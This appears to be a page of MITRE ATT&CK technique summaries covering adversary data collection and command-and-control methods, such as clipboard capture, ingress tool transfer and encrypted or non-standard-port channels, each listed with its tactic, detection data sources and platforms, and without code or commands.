Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre